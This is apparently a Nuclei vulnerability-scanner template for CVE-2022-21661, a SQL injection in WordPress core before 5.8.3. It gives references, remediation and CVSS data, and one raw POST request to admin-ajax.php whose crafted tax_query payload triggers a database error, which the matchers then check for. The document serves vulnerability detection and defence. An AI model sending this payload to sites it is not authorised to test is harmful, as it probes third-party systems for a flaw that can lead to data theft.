nuclei-templates/http/cves/2022/CVE-2022-21661.yaml

46 lines
2.0 KiB
YAML

id: CVE-2022-21661
info:
name: WordPress <5.8.3 - SQL Injection
author: Marcio Mendes
severity: high
description: |
WordPress before 5.8.3 is susceptible to SQL injection through multiple plugins or themes due to improper sanitization in WP_Query, An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
reference:
- https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
- https://www.zerodayinitiative.com/blog/2022/1/18/cve-2021-21661-exposing-database-info-via-wordpress-sql-injection
- http://packetstormsecurity.com/files/165540/WordPress-Core-5.8.2-SQL-Injection.html
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
- https://nvd.nist.gov/vuln/detail/cve-2022-21661
remediation: This has been patched in 5.8.3. Older affected versions are also fixed via security release, that go back till 3.7.37. We strongly recommend that you keep auto-updates enabled. There are no known workarounds for this vulnerability.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-21661
cwe-id: CWE-89
epss-score: 0.95358
metadata:
max-request: 1
verified: true
tags: wp,sqli,wpquery,wpscan,packetstorm,cve,cve2022,wordpress
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=ecsload&query={"tax_query":{"0":{"field":"term_taxonomy_id","terms":[""]}}}&ecs_ajax_settings={"post_id":"1", "current_page":1, "widget_id":1, "theme_id":1, "max_num_pages":10}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "WordPress database error:")'
- 'contains(body, "error in your SQL syntax")'
condition: and
# Enhanced by md on 2023/04/13